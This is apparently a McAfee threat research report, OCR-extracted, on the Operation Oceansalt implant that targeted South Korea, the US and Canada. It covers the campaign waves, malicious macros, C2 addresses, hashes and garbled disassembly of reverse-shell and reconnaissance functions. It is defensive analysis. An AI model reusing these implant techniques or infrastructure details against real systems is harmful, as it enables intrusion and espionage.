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Introduction

McAfee® Advanced Threat Research and Anti-Malware Operations teams have discovered Authors

another unknown data reconnaissance implant targeting Korean-speaking users. We This report was researched
have named this threat Operation Oceansalt based on its similarity to the earlier malware and written by:

Seasalt, which is related to earlier Chinese hacking operations. Oceansalt reuses a portion = Ryan Sherstobitoff

of code from the Seasalt implant (circa 2010) that is linked to the Chinese hacking group » Asheer Malhotra

Comment Crew. Oceansalt appears to have been part of an operation targeting South
Korea, United States, and Canada in a well-focused attack. A variation of this malware has
been distributed from two compromised sites in South Korea. (They are currently offline.)
Oceansalt appears to be the first stage of an advanced persistent threat. The malware can
send system data to a control server and execute commands on infected machines, but
we do not yet know its ultimate purpose. The Advanced Threat Research team has not
previously described this implant in any of our analyses.

Comment Crew or Another Actor?

The actions of Comment Crew, also known as APT1,
were exposed in 2013 in a ground-breaking report on
Chinese cyber espionage against the United States. This
report detailed the inner workings of Comment Crew
and its cyber offensive capabilities. The consequences
of releasing this public report forced the group to either
make changes to their techniques or cease their activity
altogether. Until this analysis, we had observed no

new activity related to Comment Crew since they were
exposed, but now we find portions of their implant code
appearing in new operations targeting South Korea.

As we investigated this code overlap, we found no
evidence that the source code from Comment Crew
was ever made public, nor did we find it being sold in
underground markets we examined. Has Comment Connect With Us
Crew returned? We think it is unlikely. Due to the lack of

indications that this is a new Comment Crew campaign, it yff f m o N @
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raises the question of who is responsible. Based on our
research, we offer a few potential scenarios that could
explain the existence of Comment Crew'’s code in the
current actor’'s malware targeting South Koreans.

= This is a code-sharing arrangement between two
actors

= An actor has privately gained access to the source
code from someone involved in the original Comment
Crew operations

= This is a “false flag” operation using Comment Crew's
code to make it appear that China and North Korea
have collaborated on this cyberattack

Does the Actor Speak Korean?

The contents of the malicious documents were written in
Korean and contained subjects specifically relating to the
finances of projects in South Korea. These documents
appear to be unique, not found on open-source
channels. We were not able to determine the source of
these documents, suggesting they were created by the
actor.

The metadata in the malicious Microsoft Office
documents used in the attacks contains a Korean-
language code page. This data indicates the document
contained the Korean-language pack, most likely to
ensure the victims could read it. We also see a consistent
author, which is typical of the techniques of previous
campaigns we have analyzed that involved malicious
documents targeting South Koreans.

last_author Liomn

creation_datetime 2018-06-04 12:17:16

author Lion

last_saved 2015-06-0413:25:27

application_name Microsoft Excel

code page Korean

Figure 1. Metadata from a code page in a malicious .xIs document.

The Advanced Threat Research team concludes that we
have found a new implant family created by an actor
targeting Korean-speaking users and using components
from Comment Crew's source code. Furthermore it is
likely that the actor has a good working knowledge of the
Korean language.

Targets

During our research we discovered the initial attack
vector was spear phishing, with two malicious Korean-
language Microsoft Excel documents acting as
downloaders of this implant. According to our document
analysis, the targets likely had knowledge of South
Korean public infrastructure projects and related
financials—a clear indication that the actor focused
initially on infrastructure.

A second round of malicious documents, this time in
Microsoft Word, carried the same metadata and author
as the Excel documents. The content was related to the
financials of the Inter-Korean Cooperation Fund. The
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malicious activity first appeared on May 31, 2018, in
South Korea. Further telemetry indicates organizations
outside of Korea have fallen victim to this attack; as of
August 14, the attack had reached multiple industries in
Canada and the United States.

The date of the attack’s first appearance in North
America is unknown. We did not find Office documents
affecting targets in Canada and the United States, but
our telemetry indicates the threat has also affected
systems in North America. It is possible the attack

on North American companies is part of a separate
campaign from the one targeting Koreans, especially
because we discovered only a handful of malicious
documents and they distributed only one variant of the
implant out of several we found. Based on our telemetry,
the team learned these organizations were in the
investment, banking, and agriculture industries.

Objectives and Impact

Our research suggests the targets were those who
would read documents related to South Korea's public
construction expenses, Inter-Korean Cooperation fund,
or other global financial data. One possible motive for
the campaign is financial theft. These attacks might

be a precursor to a much larger attack that could be
devastating given the control the attackers have over
their infected victims. The impact of these operations
could be huge: Oceansalt gives the attackers full control
of any system they manage to compromise and the
network it is connected to. A bank’s network would be
an especially lucrative target.

Further, the code overlaps with that from a previously
reported advanced state-sponsored group. The overlap
suggests a close collaboration between members of

a state-sponsored group and the current actors in
conducting cyber operations.

Campaign Analysis

The campaign to target and compromise victims across
the world began in Korea and expanded globally in
stages. The distribution URLs for the implants were fairly
consistent for the malicious documents; it appears the

actor hacked a number of South Korean websites to
host the implant code.

Wave One: South Korean higher education

The first wave of attacks began with a malicious
document created May 18, with a last saved date of May
28. The author of this Korean-language document was
Lion, whom we will continue to see throughout later
documents.

| value
T ommmmmmmmmeoeoeoooooo
| codepage

Figure 2. Metadata from a first-wave malicious document.
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In the first wave the malicious Excel file contains a list of
Korean names, physical addresses, and email addresses.
Many of the names belong to those involved in higher
education in South Korea or who attend various
institutes. However, the list is random and looks like a
copy of a database of personal information from a South
Korean government authority.

This document contains macro code to download the
implant from www.[redacted].kr/admin/data/member/1/
log.php and execute it as V3Ul.exe, the name of a
security product in South Korea.

Wave Two: South Korean public infrastructure

The Advanced Threat Research team discovered that the
implant was hosted at a legitimate site in South Korea
belonging to a music teachers organization that has

no relationship to the malicious document. The actor
hosted a PHP page that triggered the download of the
implant from a malicious VBA script embedded in two
Excel documents, which contained Visual Basic macros
to communicate, download, and install an implant on
the victim’s system once the document was opened and
viewed. The documents were submitted to us by a South
Korean organization during the first wave of attacks.

hxxp://[redacted].kr/admin/data/member/1/log.php

Figure 3. The download URL for the second wave of attacks, against
public infrastructure.

This Excel document was created May 31 by the author
Lion, a day before the implant was compiled and hosted
on the distribution site. The documents appear to be
related to South Korean public infrastructure projects
and their expenses. Based on our analysis of the
documents, it is clear that this attack is targeted toward
South Korean individuals in this field.

Figure 4. Metadata from a second-wave malicious document.
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Figure 5. Malicious document 1: investment trends in public infrastructure projects.
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Figure 6. Malicious document 2: expenses in public infrastructure
projects.
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Figure 7. Malicious document 3: a public projects expense report.

The last document in this wave was created by Lion

on June 4 with the filename 0.2Lf2t A& Sw_20184
CHAL list_(20180411)_X|H A .xIs. This document was
observed downloading the implant from the distribution
server. It references Onnara, a government agency
responsible for land and development in South Korea.
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Wave Three: Inter-Korean Cooperation

The third wave included a Word document with

the same type of macro code as the Excel files. The
document contained fake information related to the
financials of the Inter-Korean Cooperation Fund. The
document was created at the same time as the attacks
on South Korean public infrastructure officials. Lion
authored both Excel and Word documents. This Word
document used a different South Korean compromised
website to distribute the implant. In this wave, an
additional Excel document appeared with telephone
numbers and contact information connected to the
content of the Word document.

hxxp://[redacted].kr/gbbs/bbs/admin/log.php

Figure 8. The distribution URL for the implant for Wave Three.
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Figure 9. Fake statistics statement monthly report from the Inter-Korean Corporation Fund.
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Figure 10. Fake statistics statement monthly report from the Inter-Korean Corporation Fund.
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Figure 11. Fake product and partner information.
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Wave Four: Targets outside of South Korea

We identified a small number of targets outside of
South Korea, as the attacks expanding their scope. We
have yet to identify the malicious documents involved
in delivering this implant to the victims. Because Waves
One and Two contained different distribution servers
for the implant, we expect this wave had its own as well.
According to McAfee telemetry data between August 10
and 14, these North American targets fall within several
industries:

Wave Five: South Korea and United States

The Oceansalt implant was not limited to just one
sample. We discovered additional variants using

different control servers. As we continued to investigate,

we found more samples, though obfuscated to
avoid detection. The samples were all identical to
the initial Oceansalt implant. The fifth-wave samples

were compiled between June 13 and July 17 and were
submitted to us by organizations in South Korea and the

United States.

Industry Country Hash Compile Date Control Server
Financial United States 38216571e9a9364b509e52ec19fae61b 6/13/2018 172.81.132.62
Health Care United States 531dee019792a089a4589c2cce3dac95 6/14/2018 211.104.160.196
Health Care United States 0355C116C02B02CO5D6ESOAOB3DC107C 7/16/2018 27.102.112.179
Telecommunications Canada 74A50A5705E2AF736095B6B186D38DDF 7/16/2018 27.102.112.179
Financial United States 45C362F17C5DC8496E97D475562BEC4AD 7/17/2018 27.102.112.179
Agriculture and Industrial United States C1773E9CF8265693F37DF1A39EO0CBBE2 7/17/2018 27.102.112.179
Financial United States D14DD769C7F53ACEC482347F539EFDF4 7/17/2018 27.102.112.179
Telecommunications Canada B2F6D9A62C63F61A6B33DC6520BFCCCD 7/17/2018 27.102.112.179
Financial Canada 76C8DA4147B08ES02809D1E80D96FBB4 7/17/2018 27.102.112.179
Financial Technology United States

Government United States

Figure 12. Victims in Wave Four of the campaign.
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Control Server

The campaign employed multiple control servers. We
observed the following IP addresses in implants dating
from June to July.

= 172.81132.62
= 2711.104.160.196
= 27102112179
= 158.69.131.78

Our telemetry shows this campaign is operational in
several countries. Address 211.104.160.196 indicates
infections in Costa Rica, the United States, and the
Philippines. Address 158.69.131.78 reveals additional
infections in the United States and Canada.

These machines resided in numerous countries

from August 18-21. Because this operation involves
multifunction implants, these machines are likely to be
part of a larger covert listener network. The Advanced
Threat Research team has observed this kind of
targeting in similar operations that compromise victims
as control server relays.

Implant Origins

Our initial investigation into earlier similar samples led
us to a variant—bf4f5b4ff7ed9c7275496c07f9836028,
compiled in 2010. Oceansalt uses portions of code from
this sample; their overall similarity is 21%. The reused
code is unique, is not considered a common library or
common code, and serves reconnaissance and control.

The misclassified sample used a Comment

Crew domain. Further investigation revealed

the misclassified sample is 99% like Seasalt
(5e0df5b28a349d46ac8cc/d9e5e61a96), a Comment
Crew implant reported to have been used in their
operations around 2010. Thus the Oceansalt actor is
reusing portions of code from Seasalt to form a new
implant. Based on the overall techniques, Oceansalt is
unlikely to signal a rebirth of Comment Crew, raising the
question of how the actor obtained the Seasalt code.
Was it provided to this or another actor, or was it leaked
and discovered by this actor? We have been unable to
find any evidence in underground or public forums that
suggest the source code of Seasalt has been leaked or
made available.

We discovered another batch of samples compiled

on July 16-17 that are obfuscated and essentially the
same implant, with minor changes such as the control
servers. Some of the samples are missing reverse-shell
functionality, indicating that this actor has access to
Seasalt source code and can compile implants from
the original source. This could demonstrate is a level of
collaboration between two nation-states on their cyber
offensive programs.

Code Similarities with Seasalt

Oceansalt contains the following strings that are part of
Seasalt:

= Upfileer

= Upfileok

‘Operation Oceansalt’ Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group
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push eax ; flags

push 9 ; len

push offset allpfileer ; “upfileer”
push edi R

call sub_4B81D38

add esp, 168h

pop edi

pop ebx

mov ec®, [ebp+var_u]

=0F ec®, ebp

call @_ security_check cookie@4 ; _ security_check_cookie(x)
mowv esp, ebp

pop ebp

retn

Figure 14. Seasalt strings appearing in Oceansalt.

loc_481338:

push ebx

call ds:CloseHandle
push a

push 9

push offset alpfileok

hObject

flags
len
“upfileok™

Figure 15. Seasalt strings appearing in Oceansalt.

Both implants have a high degree of similarity in code
sharing and functions. A few of their commonalities

follow.

Command handler and index table similarities
The command handler for both implants uses similar
semantics and command codes to execute the same
functionalities. Even the mechanism for calculating the

command code is similar. Seasalt code is represented on

the left and Oceansalt appears on the right:
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[] C daitonmanl leden Nablefransi] | switch jees i durcammand_imdes Eaole[eawsi] ; meltch ey

Figure 16. Command handler similarity between Seasalt, at left, and Oceansalt.

conaand_Lndew_table &4 »FFset send_drive_infe_lec coanisd_Endex Lable o8 of fael sead éries il_n;g les
: DRTA XALF r i s

Th Fr Wimbadnge, n,m,u) 2287y
di affset semd_File_inFo_lsc 1 jesp tadkle For switch statement
i alfipl peecite comnaai_lne

o affaet delete File loe

dé afFret write file lsc

dé afFret read_File_lec

dd affset sesd process_Lnfe_lee

de affset teradmate process lsc

dd affset creale_reserss shell_lesc

de affsel seed cammangs ie reserse sEell e

08 OFFSPC Cleaney Ipc plpes For reverse Skell_Loc

dd affset Test send recy dec

maimen13Tr
o8 offset dead_lile_iafo_loe ; jurp talle for suileh statement
&8 nFfoet swermte_romnand_1 e

&8 offcet éslots File_loc

o8 offset wite Tile_Tac

o8 ol fset read Tile lee

&d of fset wead_precess_isfo_loc

&d offset Rerniaate pracess oo

8 DFFSEL CFeale_reverse_shell_lao

B8 DHSET SEAO_COMRIMES_DH_Feuerse_snell_lac

68 obFaet cheamep Bpe_pipges_lor_reseror ibell_Let
od of Iset Lest_send_recu_loc

ol offset sheep Llec

Figure 17. Command index table similarity between Seasalt, at left, and Oceansalt.

Command and capability similarities

Both implants execute their capabilities in the same
way, which indicates they were both developed from
the same code base. The response codes used by

both implants to indicate the success or failure of the
commands executed on the endpoint are also an exact
match. Some of these similarities:

= Drive reconnaissance capability: Similar code
signatures. Both implants use the same codes to
indicate the drive type to the control server.
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EY e5p, 140K
Anw ax, ward WBA1SA
push edi
A word phr [espeihkhahul], ax
Aow €CK, BNR Aoy [ebprEre], ax
=or ran, eax 1pa Pax, [phpsbst]
Lea edi, [espeiusheuse_120] push ] : Wal
rep stosd push pay 7 Bt
stosw call neRsel
call diiGetlogicalbrives add Psp, OCh
i vk, Eax call dE:Cetlogicalbrives
Lest ey, edx Lo [ebp+drives_bitmask], eax
[hT) [esp+ibbhsuar_140]), edx Lot CEN, BaX
jz Loc_butasd iz loe_138152F
push  rhu push  obx
push  ebp noy mhy, [PBpsdrives hitmask]
now ehp, [rspeibGhrvar_1kiE] =or CEM, PCX
pusn 5l puzh esi
=or ehx, ehx push il

now [ebpswar_184], cox

loc BUTSFL: : CODLE SEEF: send driwe infoeCalf 1pa psl, [pewad]
mng Pax, X lea LK, |[ecWsd]
now BCK, ebx
shr #ax, cl Loc_1381%40: i CORE ¥REF: semd_deive_info+1114]
Lesl A, EdX &he pay, £l
iz 1oc_hii%RD test TN, €IX
Tesl al, 1 j= loc 13K1AFF
iz Ao _hRAS test al, 1
oW ol, bl je loc_ 1341401
1ra ey, [REpeiS@hsRontParbHane] ica can, [ecH+iin]
add el, Wih oy [ebpewar F], 3&h
push 1Y 3 IpRoatPathiane A [ehp+EnatPathtane], al
nuw [esps1Ssh=HooLFathHame ], cl lea ean, [ebprRoskPalhHame]
mow [esps1Guhevar 130], Ak push  rax 1 1pRoatPathiame
LT [esp+1Shkhsuar_T30), 0 call d5iEeLirivelppen
eall dsrEethriveTyped Chj raW, DRIUVE_REHIUGHLE
orp 3K, DHIVE_REMDUMHLE jne Short drive pol remowable
inz shork drive not Femnvable xor rhy, ehx
woF ehp, ebp jmp sShort print_intfo_on_drive
jgp short drive nol_remole } TEEEEEEEEErEEEEEE s E T T T T T TS s ST TS TS s TS E s s TS

15

driwe_not_removable:
=g
inz
nuy
Iog

drive_notl_fised:
chp
jne
now
Ing

drive_nol_cdrom:
chp
jne
mine

drive_nat_remnte:

18a

push
push
Lea

push
push
eall

Figure 18. Similarity in the drive recon functionality. Seasalt is at left.

: COBE WREF:
wak, FRIVE_FIXOD
short driwe_not_filxed
ebp, 1

short drier_not_remote

: DOBL SREF:
waK, FRIVE_CDROH
short driwe_nol_cdrom

ebp, ¥
short drier_not_remote

: CODL W¥ELCF:
#ax, DRIUE_RFMOTE
short drive nol_remole

ebp, 3

: CODE X¥REF:
1 osemd_drive_
wax, [PEpeiSOh+RontPathlame]
by
pay
veM, [espe1tBheuar_130]
affFset asp HE
L] : char =
sprinkF

send_drive_infoe757]

semd_drive infoere?j

semd_drive infoesalj

send_drive_infoe7etq
infosBsTj ...

drive_not_cdrom:
crp
CROUE

print_info_on_drive:

push
lea

push
lea

push
push
call

+ CODE XREF:
eax, DHIVLE_FIKED
short drive_not_Fixed
e, [ean=2]
short print_info_om_drive

: CODE XREF:
pay, DRIUE COROM
Short drive_mpol_cdron
mhy, [Raw-0]
SROFE print_inio_om_ariue

: COBE XREF:
pay, DRIUE REMOTE
ebn, es5i

+ CUBE WREF:

; wend drive
b

eak, [ebpRoobPathHane]
EaM

ean, [ebpebesk]

offset Format  ; “Rekad”
[FH i Best
sprimntf
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= File reconnaissance capability: Similar APl and code
usage to get file information. The response codes sent
to the control server to indicate whether a file was
found is an exact match.

Lea edi, [esprouChsFindFilebata]

rep stosd

1ea ea, [espriiCheFindrilebata]

push Ay : 1pFindFilebata

push edn 3 IpFileMame

call ds:Findf irstFilena

U Bhy, Bay

TR rhy, BFFFFFFFFR

Lo [esprasChenFindFile], cbx

jne short loc_hB1ABD

L wen, [Espeibbhes]

push [} ; Flags

push r ; 1em

[T ] affset huk I g~

push [ 3

call ds isend

P sl

ik #hy

agd esp, Gknh

rekn
S RS ———
loc_4uingd: ¢ CODE XREF: _send_file_imfo_sn1tj

Y eds, [espedhlh=s]

push shp

AU ehp, A% send ¥

ush eLi

- : Flags Llac_1Hu17 07

push r ; 1em

[T ] afEset al i

push ey P e

call ebp ; send

L #Cy, Skh

EL TS caK, €an

1ea edi, [esproSashepsii]

push L1 t ukLlags

rep sbosd

1ra say, [BEpsESEhapari]

push 1dih ; chFlleinfo

push ean s psfi

1ea ecx, [esprddBhepsePabh]

push FILE ATTRINUTE HORMAL ; defileAttribukes

push rON i pszPath

call 0% tSHCeEF ile Infon

Figure 19. Similarity in

the command execution capability. Seasalt is at left.

Lea

push
push
push
call
add

lea

push
push
call

psh
push
chRp
jne
push
push
call
add
Pup
pop

mor
call

pop
retm

push
push
call
plrsh
Lea

PUsh
push
e3ll
ad

L1ea

push
pursh
pursh
push
Lea

pursh
call

esl, [ephp+lpFileHans]
€an, [ebp+FindFileData)

Tah s Siee

L] 3 val

LEES : Dsk
_menset

eip, BCh

eax, [ebpsFindFilefata])

AN : 1pFindFiledbata
sl : lpFileMame
ds:FindFirstFiled

Bh, Pax

] ; flags

] 5 n

i
ehn, [THINLID_HAHBLE _UALUE
short loc_ 1341707
olffset al =
[ehpes] :
_enoode_and_send_
esp, 100
esi
Bl
FEl, [Ehprear_ &)
vEn, ehp

securily check cookie{x)
ssp, Bhp
el

CODE XREF: _semd_file_infFo_+u5Tj
e
5

oFFLel al
[ebp=s]
encode_and_send
160h

van, [ebpepofi]
[ ]

Size

val

Ay [ 44
nonc ok

esp, ith

van, [ebpepsfi]
1@h

wllags

1&@h ebFilplinin

ran psFi
FILE_RTTRIEUTE_HORMAL ; dwFilentiributes
eax, [ebprpsePabh]

By 1 pszPath

dsiSHEetFile Infol
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= Reverse-shell creation capability: Both implants use
similar code signatures to create a reverse shell on the
infected endpoint. Both reverse shells are based on

cmd.exe.
nay ean, 106CH mou wax, 1070h
call alloca_probe call alloca_probe
push el moy eax, securdty_cookie
push elp Hor eax, ebp
push esi LY [ebpsvar_%], eax
noy esl, ds:Createripe push ebx
=ar ey, ebx push esi
push i L] esi, de:CreatePipe
lea EaN, [esp+1RFEh+PipentEribubes] lea vam, [ebpeFiprAliributes]
push hi i nsize puzh w : nEize
push BaN 7 1pPipeattributes push Fax : lpPipenttributes
o ehp, 1 push afFset hvitePipe ;| BWritePipe
push offset hiritePipe ; hiritePlipe push affset BReadPipe | hReadPipe
push offset hreadPipe ; hReadPipe moy [ebpsPipeattributes.nlength], @th
nay [esp*108ChsFipeAttributes.nlength], BCh L [ebp+Pipeattributes.lpiecuritybescriptor], @
Lo [espr10BChePipedtbributes. 1pSecuritybescriptor], ebx mov [ebprPipepttributes.binheritiandle], 1
maip [espri0BChePipedtiributes bInherithandle], ebp call esi ; Createfipe
call esl ; CreatePipe push '] : nSize
Llea ecn, [EsprI0FChePipeatiributes ] lea wax, [ebprPipeAlbribules]
push [T s mEize push Ll H : lpPipedAttributes
push [ i IpPipeattributes puzh offFsel hdritePipe 2 ; mariteripe
push aFFsrt hivitePipe 2 ; hwiteripe puzh offsel hReadPipe 2 ; nReadPipe
push aFFeet hHeadPipe ¥ ; hReadPipe call 5l [ CreatePipe
call esl ; Createfipe may cax, dward pte ds:abmd_exe [ “osd.cae”
o pax, dunrd ptr aCmd exesh ; “pxe’ LT duard ptr [ehpeCommandline], cax
noy edy, duword ptr acmd_exe ; “omd.exe” may eax, dword ptr ds:aCmd_sxesh [ “exe”
noy [esp*107Chevar_105C], eax push hkh HETEL]
Aoy e, 11h oy [ebp*var_&], eax
xor AN, eax lea eax, [ebprStartupinfe]
lea edi, [espri0TCheStartuplnfo] push L] P val
rep stosd push can : Ost
[T pax, hivitePipe wall neRset
oy ecK, hReadPipe_2 add f5p, BCRH
noy duord ptr [esp+187Ch+Commandline], edx moy [ebpsStartuplnfo.dwFlags], 1@ih
nav [espsi07CheStartupinfo.hitdirrar], eax o Bax, eax
o [espr10TCheStartuplnfo. hEtdDukpul], eax moy [ebpsStartupinfo.uShowdindow], ax
lea edi, [espr10TCheProcessinfornation] may eax, hReadfipe_2
lea eax, [esprlBFChrStartuplnfo] L [ebpsStartuplnfo.nStdlinput], eax
push edn i lpProvessinformation L vax, hiritelipe
push N i IpStartupinfo o [ebprStartuplnfo hStdError], eax
push =hy i 1pturrentiirectory L [ebp+Startuplnfo hELdlutpul], eax
push ehi i IpEnuiroanment lea vax, [epperrocessinfornation]
push Eh v dubreationFlags puzh wax : lpProcessinformation
[T [espsit9@h+Startupinfo. hSitdinput], ecx Lea fax, [rhp+itartuplnfa]
push ehp 7 binheritHandles push Fax i lpStartuplngn
push e i IpThreadatiributes push n + lpCurrentRirectory
1ea ecH, [esps109Ehs Conmandline] push o i lpEnvirannent
push Bha i 1pProcessAttributes push L i dwCreationFlags
push BLK ; 1pCommandl ine push 1 : bimheritHandles
push el ; 1papplicationHame push '] : lpThreadAttributes
i [esps100sh+SLartupinfo.dwFlags], 181k push L} : lpProcessAttributes
o Lesps10as+SLar tup lnFo  wShowindow] , bx lea wax, [ebprCommandline]
call dsiCreatefrocessn push Ll H : lpCommandL ine
push Fhih i duMilliseconds puzh L] : lpApplicationHame
call asisileep call a5 sCreateProcessh
push Fonn s w11 i secomils
call ds:5lecp

Figure 20. Reverse-shell creation capability similarities. Seasalt is at left.
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Code Differences from Seasalt

There are a few differences between the two implants
in implementation; these demonstrate that Oceansalt
is not simply a recompilation of Seasalt source code.
However, these differences also provide evidence that
Oceansaltis an evolution of Seasalt.

= Encoding: The Oceansalt implant uses an encoding
and decoding mechanism before any data is sent to
the control server. The Seasalt implant does not use
this encoding and sends unencrypted data to the
control server.

= Control server address: Oceansalt uses a hardcoded
control server address to establish communication.
Seasalt parses the control address from its binary by
decoding data.

= Persistence: Oceansalt has no persistence
mechanisms to ensure continued infection over
endpoint reboots. Seasalt, on the other hand, copies
itself to CADOCUMEN~T\<userid>\java.exe and creates
a registry entry to ensure infection after reboot:

- HKLM\Software\Microsoft\Windows\currentVersion\
Run | sysinfo

Based on the executable header information, Seasalt
was compiled on March 30, 2010. Oceansalt was
compiled on June 1, 2018. Highlighting the compilation
timestamps is important because, as our preceding
analysis demonstrates, the samples have a high degree
of code sharing:

Multiple code matches and similarities

Multiple functional similarities

Identical command capabilities

= Same command and response codes issued by and
sent to the control server

The code used to create the reverse shell in Oceansalt
is an exact match with that of Comment Crew's Seasalt
implant. The mechanism for creating the reverse shell
(pipe-based inter-process communication for standard
I/0 handles) is also seen in Comment Crew implants
such as WebC2-CSON and WebC2-GREENCAT.

These matches lead us to believe that Oceansalt is
based on Seasalt, because it reuses much of the code
base developed 10 years ago. Seasalt's public disclosure
in the Comment Crew report does not seem to have
discouraged Oceansalt's developer.

Obfuscated Oceansalt Comparison with Seasalt

We offer a comparative analysis of the following partially
obfuscated implants against the initial Oceansalt sample
and the Seasalt implant from Comment Crew.

SHA-1 Compile Date Role

fc121db04067cffbed04d7403c1d222d376fa7ba 7/16/2018 Partially obfuscated Oceansalt
281a13ech674de42f2e8fdaea5e6f46a5436c685 7/17/2018 Partially obfuscated Oceansalt
1f70715e86a2fcc1437926ecfaeadc53ddced1c9 7/17/2018 Partially obfuscated Oceansalt
ec9a9d431fd69e23a5b770bf03fe0fb5a21c0c36 7/16/2018 Partially obfuscated Oceansalt
12a9faa96balbe8a73e73be72ef1072096d964fb 7/17/2018 Partially obfuscated Oceansalt
be4fbb5a4b32db20a914cad5701f5c7ba51571b7 7/17/2018 Partially obfuscated Oceansalt
0ae167204c841bdfd3600dddf2c9c185b17ac6d4 7/17/2018 Partially obfuscated Oceansalt
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All the partially obfuscated Oceansalt implants have the
following characteristics:

= Allimplants were compiled during a three-day period:
July 16-18

= Allimplants contain debug statements (print logs)
written to the log file: C:\Users\Public\Videos\temp.log

= These debug statements begin with the timestamp
and consist of the following keywords at the beginning
of the debug message:

- [WinMain]
- [FraudProc]

= Allimplants connected to the same control server IP
address: 27.102.112.179

= Although none of the partially obfuscated implants
contain any additional capabilities (as compared with
the initial Oceansalt or Seasalt), some of the partially
obfuscated implants are missing the reverse-shell
capabilities:

Reverse-Shell

Partially Obfuscated Oceansalt Hash Capability?
C1773E9CF8265693F37DF1A39EOCBBE2 No
0355C116C02B02CO5D6ESOAOB3DC107C Yes
74A50A5705E2AF736095B6B186D38DDF Yes
45C362F17C5DC8496E97D475562BEC4D No
D14DD769C7F53ACEC482347F539EFDF4 No
B2F6D9A62C63F61A6B33DC6520BFCCCD Yes
76C8DA4147B08E902809D1E80D96FBB4 Yes

Evidence of Source-Code Sharing

We present evidence of source-code sharing between
the Oceansalt authors and Comment Crew, based on
our comparative analysis of the three sets of samples:
Oceansalt, partially obfuscated Oceansalt, and Seasalt.

= There is no possibility the attackers could have re-
instrumented Seasalt by simply modifying the control
server IP addresses:

- The mechanism for obtaining the address in Seasalt
is different from Oceansalt's. Seasalt looks for
encoded data at the end of the binary, decodes this
data into tokens separated by the marker “$,” and
obtains the control server information.

- Oceansalt implants have the control server IP
addresses and port numbers hardcoded as plain-
text strings in the binaries

= Some of the partially obfuscated Oceansalt implants
are missing the reverse-shell capability. All other
capabilities (code signatures, response codes, etc.)
and command codes are similar. (Command codes are
either the same or off by 1.) Modifying capabilities in
this fashion is possible only with access to the source
code of Seasalt.
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= The presence of debug strings tracing the code flow of ; int _ stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevinstance, LPSTR lpCmdLine, int nShowCmd)
. . . . _WinHain@16 proc near ; CODE XREF: __ tmainCRTStartup+115)p
the Oceansalt implants indicates they were compiled
. . . var_328 = byte ptr -328h
after adding debug information to the source code of var 228 = Dﬁte ,':t,. _298h
. var_128 = byte ptr -128h
Seasalt: cmdLine = byte ptr —124h
. . buf = byte ptr -24h
- [WinMain]after recv cnd=%d 0Dh 0Ah var_28 = dword ptr -28h
) ) message_arqument= byte ptr —1Ch
- [WinMain]before recv 0Dh OAh var_18 = dword ptr -1Bh
var_17 = word ptr -17h
— i i i el var_15 = byte ptr -1Sh
[FraudProc]Engine is still active! 0Dh 0Ah o _ Bite e aak
F =d d ptr -6Fh
— [FraudPRoc]Process Restart! 0Dh 0Ah e ~ Ghord pir _od
. . ) uar:? = byte ptr -7
= The presence of these debug strings also indicates var_4 = duord ptr -4
o hinstance = dword ptr B8
that the authors who modified the source code may hPrevInstance = dword Btr 8ch
have used these samples to perform their initial i 4ot -
testing before obfuscating and releasing the implants R 66
to their victims, without scrubbing the debug strings moy ebp, esp
sub esp, 328h
] mou eax, _  security cookie
= The Oceansalt implant o g
531dee019792a089a4589c2cce3dac95 (compiled June i ggzl’*:::-”]- eag
1) contains a few key features that indicate compilation mov duord ptr [ebp+ProcHame+1], eax
mow [ebp+var_F], eax
from the source code of Seasalt: mov [ebp+var_B], eax
mov [ebp+var_7], al
- Does not contain the reverse-shell capability Lea eax, [ebp+ProcHame]
push eax ; 1pProcHame
_ : . i push offset LibFileName ; "shell32._dll™
Does not contain the drive recon capability ey dvoir pie [ehpsProohune]. Satiiss
. . . mou dword ptr [ebp-18h], '1liFt"
- Loads API SHGetFileInfoA() dynamically without mou [ehp+ugr_F£3]|: 'Fn}e'
statically importing it. This also suggests that ot T4 L L o
! ifi push eax ; hHodule
Seasalt’s source code was modified before i v e
COTTWpHatiOTW push eax ; message_argument
’ push offset allinmainFsgfiX ; “[WinHain]FSGFI= %xirin®
mou SHGetFileInfoA, eax

call print_to_log_file

Figure 21. Dynamic APl loading in an Oceansalt implant.
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Oceansalt Capabilities

Oceansalt is 76KB, a minimal on-disk footprint that is
harder to detect than larger malware. The implant has a
variety of capabilities for capturing data from the victim’s
machine using a structured command system. From

our research we have determined that this implant is a
first-stage component. Further stages are downloaded
through its commands. Oceansalt also supports
commands enabling the attacker to take various actions
on the victim's system.

Initial reconnaissance

Oceansalt starts by trying to connect to its control server
at 158.69.131.78:8080. Once connected, the implant
sends the following information about the endpoint:

= |P address

= Computer name

= File path of the implant

All data sent to the control server is encoded with a NOT
operation on each byte.

push ebp

mov ebp, esp

sub esp, 328h

mou eax. __ security_cookie

Xor eax, ebp

mov [ebp+var_4], eax

call _contruct_ip_address_and_port_of_CnC
teskt eax, eax

jz loc_134248E

call _WSAStartup_

push offset byte 13548CH

call _gethosthyname_to_get_computer_name
push offset byte_13541C@ ; int

push offset byte_13548CH ; name

call _gethostbyname_inet_ntoea_to_get_ip_address_of_self
add esp, BCh

Xor BCX, ECX

Figure 22. Initial data gathered from the endpoint by Oceansalt.

push
call
mov
mov
push
call
push
push
push
mov
call
mov
cmp
jz
mov
mov
moyzZx
push
call
push
mov
call
push
push
push
mov
call
cmp
jnz
push
call
push
call

offset name ; nhame
edi ; gethostbyname
eax, [pax+BCh]

eax, [eax]

dword ptr [eax] ; in
ds:zinect_ntoa
8
SOCK_STREAH
AF_THET

ebx, eax
ds:socket

5, eax

eax, IHUALID_ HANDLE_UALUE

ret_loc

eax, 2

sockaddr_@.s5a_family, ax

eax, word ptyr port_number ; port_number = Bx1f00 = BOED

protocol

type
af

eax ; hostshort
ds:-htons
ebx s Cp

word ptr sockaddr_B.sa_data, ax
ds:inet_addr

16h s namelen
offset sockaddr_6 ; name
s ;5

dword ptr sockaddr_8.sa_data+2, eax
ds:connect

eax, INUALID_ HANDLE_UALUE

short connected_to_CnC

5 I
ds:closesocket
cgae ; duMilliseconds

esi ; Sleep

Figure 23. Control server connection functionality for Oceansalt
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Command handler functions

Oceansalt can execute 12 commands. Each command
received from the control server is represented by a
command code ranging from 0x0 to 0xB (0 to 11).

command_index_table dd offset send_drive_info_loc
: DATA XREF: WinMain{xz,x,x,%x)+234T¢
dd offset send_file_info_loc ; jump table for switch statement
dd offset execute_command_loc
dd offset delete_file loc
dd offset write file_loc
dd offset read_file loc
dd offset send_process_info_loc
dd offset terminate_process_loc
dd offset create_reverse_shell loc
